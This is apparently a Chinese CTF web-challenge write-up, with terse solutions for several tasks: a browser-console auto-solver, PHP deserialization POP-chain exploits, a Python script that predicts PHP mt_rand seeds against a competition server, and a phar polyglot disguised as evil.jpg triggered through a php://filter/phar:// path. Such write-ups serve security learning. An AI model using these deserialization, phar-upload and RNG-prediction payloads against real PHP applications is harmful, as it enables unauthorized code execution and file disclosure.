web

小猿口算签到重生版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
(function autoSolve() {
function getExpressionAndSolve() {
$.ajax({
url: '/generate',
method: 'GET',
success: function (res) {
let expr = res.expression;

// 去除问号和等号,例如 "98+24+70+80=?"
expr = expr.replace(/=*\?*$/, '').trim();

let answer;
try {
answer = eval(expr);
} catch (e) {
console.error("❌ 表达式解析失败:", expr);
return;
}


console.log("🧠 表达式:", expr, "➡️ 答案:", answer);

$.ajax({
url: '/verify',
method: 'POST',
contentType: 'application/json',
data: JSON.stringify({ user_input: answer }),
success: function (r) {
if (r.flag) {
alert("🎉 恭喜你,拿到 FLAG 了!Flag: " + r.flag);
console.log("✅ FLAG:", r.flag);
}
},
error: function (x) {
if (x.responseJSON && x.responseJSON.error) {
console.warn("❌ 错误:", x.responseJSON.error);
} else {
console.warn("❌ 验证失败,请重试!");
}
}
});
},
error: function () {
console.error("❌ 获取表达式失败");
}
});
}

console.log("✅ 自动答题器启动,每 1.5 秒轮询一次...");
setInterval(getExpressionAndSolve, 1500);
})();

控制台提交即可

img

pop之我又双叒叕重生了

img

函数重生版

img

img

lottery签到重生版

img

爆破就行

img

源代码注释中,拼接就行了

can_u_escape

img

字符串逃逸,增多,数吐出来的字符就行

u_known?

img

第一步,从别的文件加载$gift1=$anotherthing;$gift2=$otherthing;经过弱比较的渲染后,为0因此这样即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class order
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class zhengcan
{
public $lbjjrj;

function __call($name, $arguments)
{
echo $this->lbjjrj->douzhi;
}
}

class tiandian
{


function __get($Attribute)
{
echo '';

}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
echo "使用压缩包点单kfc.rar";

kfc.php路由有一个简单的反序列化

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class order
{
public $start;

}

class zhengcan
{
public $lbjjrj;


}

class tiandian
{


}

$a=new order();
$a->start=new zhengcan();
$a->start->lbjjrj=new tiandian();

echo serialize($a);

img

两个合一起解的flag,套一下cm就行

give!me!money!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
import subprocess
import requests

# 目标 URL
BASE_URL = "http://27.25.151.40:33907"

# 设置一个足够大的 money 值以满足 money >= 114514
MONEY = 200000

# 固定使用 id=d(也可改成 a,但重定向后同样会携带 money)
params = {
"id": "d",
"money": MONEY,
}

# 第一步:发送 GET 请求,触发服务器的 mt_srand/mt_rand 逻辑
t0 = int(time.time())
resp_get = requests.get(BASE_URL, params=params)
t1 = int(time.time())

print(f"[+] GET 返回 ({len(resp_get.text)} bytes),开始尝试预测 shenhe…")

# 第二步:遍历本地时间窗口,复现服务器上 PHP mt_rand 的第101次输出
for ts in range(t0 - 2, t1 + 3):
# PHP 中:$ccc = time(); $ttt = substr($ccc, 0, 7);
seed = int(str(ts)[:7])
# 用 PHP CLI 复现:mt_srand(seed); 跳过前 100 次 mt_rand(); 取第 101 次
cmd = (
f'php -r "'
f'mt_srand({seed});'
f'for($i=0;$i<100;$i++) mt_rand();'
f'echo mt_rand();"'
)
try:
shenhe = int(subprocess.check_output(cmd, shell=True))
except Exception as e:
continue

# 第三步:将候选的 shenhe 提交回服务器,看是否成功
post = requests.post(BASE_URL, params=params, data={"c": shenhe})
text = post.text

# 失败时服务器会输出 “开桂了?哪来这么多钱”
if "开桂了?哪来这么多钱" not in text:
print(f"[✔] 成功!预测到 shenhe = {shenhe}")
print("服务器返回:")
print(text)
break
else:
print("[-] 在给定时间窗口内未能猜中 shenhe,请扩大时间范围或检查 PHP CLI 环境。")

img

upload1

img

用数组即可

upload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class hacker{
public $cmd="system('ls');";
public $a;
}

$a = new hacker();
$a->a = "highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();";
$a->cmd = &$a->a;
echo serialize($a)."\n";

@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
import gzip

with open('./phar.phar', 'rb') as file: # 更改文件后缀
data = file.read()

ndata = gzip.compress(data)

with open('./evil.jpg', 'wb') as file: # 更改文件后缀
file.write(ndata)

两个exp

1
file=php://filter/resource=phar:///tmp/e5ec0425f5c71e2a21fcd981878e4806.jpg

绕过phar://